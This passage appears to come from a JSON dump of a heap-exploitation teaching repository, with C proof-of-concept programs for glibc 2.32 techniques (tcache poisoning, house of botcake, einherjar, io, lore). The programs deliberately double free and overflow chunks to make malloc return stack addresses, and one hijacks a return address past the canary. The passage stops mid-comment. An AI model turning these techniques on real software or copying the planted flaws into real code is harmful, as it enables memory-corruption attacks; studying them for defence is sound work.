    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long stack_var[2] __attribute__ ((aligned (0x10)));\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", stack_var);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var[1] = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tfprintf(stderr, \"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tfprintf(stderr, \"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var + 0x10);\n}\n"
  },
  {
    "path": "glibc_2.32/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.32/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.32/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.32/house_of_io.c",
    "content": "#include <assert.h>\n#include <malloc.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// House of Io - Use after free Variant\n// ====================================\n//\n// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/\n//\n// Tested on libc versions 2.31, 2.32 and 2.33.\n//\n// House of Io makes use of the fact, that when freeing a chunk into the tcache\n// the chunk will receive a pointer to the tcache management struct which has\n// been allocated beforehand. This pointer is the tcache->key entry of a free'd\n// tcache chunk. There are three different versions of this attack and all work\n// even with safe-link enabled, as the tcache-key pointer, and more importantly\n// the pointers in the tcache_perthread_struct, are not protected.\n//\n// House of Io only works in libc versions 2.29 - 2.33, because in these\n// versions the key of a tcache entry is the pointer to the tcache management\n// struct. This can allow an attacker to carry out a tcache_metadata_poisoning\n// attack.\n//\n// However the exploit primitives are very constrained as stated in the source.\n// Negative overflows are very rare and so is the needed order of specific frees\n// for the double free variant. This use after free is a bit more realistic.\n\nunsigned long global_var = 1;\n\nstruct overlay {\n  uint64_t *next;\n  uint64_t *key;\n};\n\nstruct tcache_perthread_struct {\n  uint16_t counts[64];\n  uint64_t entries[64];\n};\n\nint main() {\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  puts(\"In house of Io we make use of the fact, that a free'd tcache chunk\\n\"\n       \"gets a pointer to the tcache management struct inserted at the\\n\"\n       \"second slot.\\n\");\n\n  puts(\n      \"This variant is the use-after-free variant and can be used, if the\\n\"\n      \"free'd struct has a pointer at offset +0x08, which can be read from\\n\"\n      \"and written to. This pointer will be the tcache->key entry of the\\n\"\n      \"free'd chunk, which contains a pointer to the tcache management\\n\"\n      \"struct. If we use that pointer we can manipulate the tcache management\\n\"\n      \"struct into returning an arbitrary pointer.\\n\");\n\n  printf(\"Specifically we get a pointer to the `global_var` at %p returned to\\n\"\n         \"us from malloc.\\n\\n\",\n         &global_var);\n\n  puts(\"First we have to allocate a struct, that has a pointer at offset\\n\"\n       \"+0x08.\\n\");\n  struct overlay *ptr = malloc(sizeof(struct overlay));\n\n  ptr->next = malloc(0x10);\n  ptr->key = malloc(0x10);\n\n  puts(\"Then we immedietly free that struct to get a pointer to the tcache\\n\"\n       \"management struct.\\n\");\n  free(ptr);\n\n  printf(\"The tcache struct is located at %p.\\n\\n\", ptr->key);\n  struct tcache_perthread_struct *management_struct =\n      (struct tcache_perthread_struct *)ptr->key;\n\n  puts(\n      \"Now that we have a pointer to the management struct we can manipulate\\n\"\n      \"its values. First we potentially have to increase the counter of the\\n\"\n      \"first bin by to a number higher than zero, to make the tcache think we\\n\"\n      \"free'd at least one chunk. In our case this is not necesarry because\\n\"\n      \"the `overlay` struct fits in the first bin and we have free'd that\\n\"\n      \"already. The firest member of the tcache_perthread_struct is the array\\n\"\n      \"of counters. So by overwriting the first element of our pointer we set\\n\"\n      \"the correct value in the array.\\n\");\n  management_struct->counts[0] = 1;\n\n  printf(\"Before we overwrite the pointer in the tcache bin, the bin contains\\n\"\n         \"[ %p ]. This is the same as the free'd overlay struct which we\\n\"\n         \"created at the start [ %p == %p ].\\n\\n\",\n         management_struct->entries[0], management_struct->entries[0], ptr);\n  management_struct->entries[0] = (uint64_t)&global_var;\n  printf(\n      \"After the write we have placed a pointer to the global variable into\\n\"\n      \"the tcache [ %p ].\\n\\n\",\n      management_struct->entries[0]);\n\n  puts(\"If we now allocate a new chunk from that tcache bin we get a pointer\\n\"\n       \"to our target location.\\n\");\n  uint64_t *evil_chunk = malloc(0x10);\n\n  assert(evil_chunk == &global_var);\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.32/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.32/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea 